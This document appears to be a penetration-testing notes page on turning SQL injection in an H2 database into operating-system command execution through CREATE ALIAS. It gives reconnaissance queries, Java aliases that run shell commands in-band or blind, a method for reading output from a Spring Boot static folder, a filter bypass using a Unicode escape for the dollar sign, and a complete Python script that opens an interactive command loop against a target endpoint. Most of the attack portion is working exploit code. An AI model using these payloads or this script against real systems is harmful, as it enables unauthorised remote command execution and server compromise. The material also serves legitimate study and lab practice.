CREATE ALIAS RCE
H2 CREATE ALIAS command execution
H2 is a relational database written in Java. It can run inside the same Java process as the application or as a separate database server.
An H2 alias maps an SQL function name to a Java method. CREATE ALIAS ... AS accepts Java source code as a string, asks H2’s Java compiler to compile that source, and registers the resulting method under the selected alias name. CALL <ALIAS>(...) then invokes the compiled Java method from SQL.
The complete execution path is:
attacker-controlled input
-> application constructs an H2 SQL statement
-> CREATE ALIAS supplies Java source as an SQL string
-> H2 compiles the Java source inside the application JVM
-> CALL invokes the compiled Java method
-> the Java method starts an operating-system processSQL injection reaches operating-system command execution only when all of the following conditions are present:
input reaches an H2 SQL statement
-> the injection context permits CREATE ALIAS and CALL
-> the database account has administrator rights
-> Java source compilation is available
-> the Java process has the required operating-system permissionswebAllowOthers controls remote access to the H2 Console and H2 server. An application using its own embedded H2 connection can execute injected SQL without this setting.
Confirm the database and account
SELECT H2VERSION();
SELECT CURRENT_USER;
SELECT USER_NAME, IS_ADMIN FROM INFORMATION_SCHEMA.USERS WHERE USER_NAME = CURRENT_USER;Expected result when the required database privilege is present:
H2VERSION() -> <H2_VERSION>
CURRENT_USER -> <DATABASE_USER>
IS_ADMIN -> TRUEConfirm alias compilation
This harmless alias confirms every database-side stage without starting an operating-system command:
DROP ALIAS IF EXISTS TEST_ALIAS;
CREATE ALIAS TEST_ALIAS AS 'String testAlias(String value) { String result = new StringBuilder(value).reverse().toString(); return result; }';
CALL TEST_ALIAS('Test');Expected output:
tseTDROP ALIAS IF EXISTS removes an older alias with the same name so repeated tests remain valid. CREATE ALIAS compiles a Java method that reverses its string argument. CALL TEST_ALIAS('Test') invokes that method through SQL, and the returned tseT confirms that compilation, registration, invocation, and returned output all worked.
Normal single-quoted text and H2 dollar-quoted text both represent the Java source supplied to CREATE ALIAS:
CREATE ALIAS TEST_ALIAS AS 'String testAlias(String value) { return value; }';
CREATE ALIAS TEST_ALIAS AS $$ String testAlias(String value) { return value; } $$;$$ is H2 string-literal syntax. The single-quoted form represents the same Java source and remains available when a literal $ is blocked before the query reaches H2.
CREATE ALIAS is preferable during testing because compilation errors remain visible. CREATE FORCE ALIAS creates the alias even when the source cannot currently compile, which can hide the actual failure until CALL.
In-band command output
This alias accepts the operating-system command as its SQL function argument. It starts /bin/sh with the command supplied as the single -c argument, waits for the child process to exit, reads the stdout bytes, converts those bytes into a Java string, and returns that string through CALL:
DROP ALIAS IF EXISTS COMMAND_EXEC;
CREATE ALIAS COMMAND_EXEC AS '
String commandExec(String command) throws Exception {
String[] commandParts = {"sh", "-c", command};
Process process = Runtime.getRuntime().exec(commandParts);
process.waitFor();
byte[] outputBytes = process.getInputStream().readAllBytes();
String output = new String(outputBytes);
return output;
}';
CALL COMMAND_EXEC('<COMMAND>');Expected output for CALL COMMAND_EXEC('whoami') is the operating-system account running the Java process.
Blind execution with output written to a static file
When the injected query executes but its result is not returned, the shell can redirect command output into the runtime static directory:
DROP ALIAS IF EXISTS COMMAND_EXEC;
CREATE ALIAS COMMAND_EXEC AS '
void commandExec() throws Exception {
String command = "<COMMAND> > <RUNTIME_STATIC_DIRECTORY>/output.txt 2>&1";
String[] commandParts = {"sh", "-c", command};
Process process = Runtime.getRuntime().exec(commandParts);
process.waitFor();
}';
CALL COMMAND_EXEC();The output is then retrieved through the URL mapped to that static directory:
GET /<STATIC_URL_PATH>/output.txtFor a Maven-built Spring Boot application, the runtime directory is commonly:
<APPLICATION_ROOT>/target/classes/static/<STATIC_URL_PATH>File-backed command-execution loop
A stacked SQL injection permits the injected value to terminate the original statement and append additional SQL statements separated by semicolons. The template below starts inside an application string value, closes that value with ', creates and calls the alias as later statements, and comments the unused original suffix.
The request body uses multipart form data. Only the endpoint, parameter, known value, runtime path, and URL path are target-specific.
import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PARAMETER = "<PARAMETER>"
ENDPOINT = "/<ENDPOINT>"
KNOWN_VALUE = "<KNOWN_VALUE>"
OUTPUT_FILE = "<APPLICATION_ROOT>/target/classes/static/<STATIC_URL_PATH>/output.txt"
OUTPUT_URL = "/<STATIC_URL_PATH>/output.txt"
parser = argparse.ArgumentParser(
description="H2 CREATE ALIAS command-execution loop.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080]")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def send_sqli(s, command):
command = command.replace("$", "\\u0024")
shell_command = f"{command} > {OUTPUT_FILE} 2>&1"
payload = f'''{KNOWN_VALUE}'; DROP ALIAS IF EXISTS COMMAND_EXEC; CREATE ALIAS COMMAND_EXEC AS 'void commandExec() throws Exception {{ String[] commandParts = {{"sh", "-c", "{shell_command}"}}; Process process = Runtime.getRuntime().exec(commandParts); process.waitFor(); }}'; CALL COMMAND_EXEC(); -- -'''
files = {
PARAMETER: (None, payload)
}
try:
r = s.post(url=f"{URL}{ENDPOINT}", files=files, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request: {e}")
sys.exit(1)
if r.status_code == 200:
print(f"[+] {Fore.LIGHTGREEN_EX}Command sent.")
else:
print(f"[-] {Fore.RED}Could not execute command.")
print(r.text)
def read_output(s):
try:
r = s.get(url=f"{URL}{OUTPUT_URL}", verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not read command output: {e}")
sys.exit(1)
print(r.text)
if __name__ == "__main__":
s = requests.Session()
try:
while True:
command = input("> ").strip()
send_sqli(s, command)
read_output(s)
except KeyboardInterrupt:
print(f"[-] {Fore.RED}User interrupted.")The explicit command.replace() preserves the six characters \u0024 in the generated Java source. Java’s Unicode-escape translation converts them back to $ when H2 compiles the alias, after an earlier literal-dollar filter has already run.
Find by: h2, create alias, create force alias, java alias, h2 rce, stacked query, command execution, runtime exec, string array, sh c, in band output, blind execution, static file output, spring boot webroot, unicode dollar bypass, u0024 · Source: HTB/PentestNotes, H2 2.2.224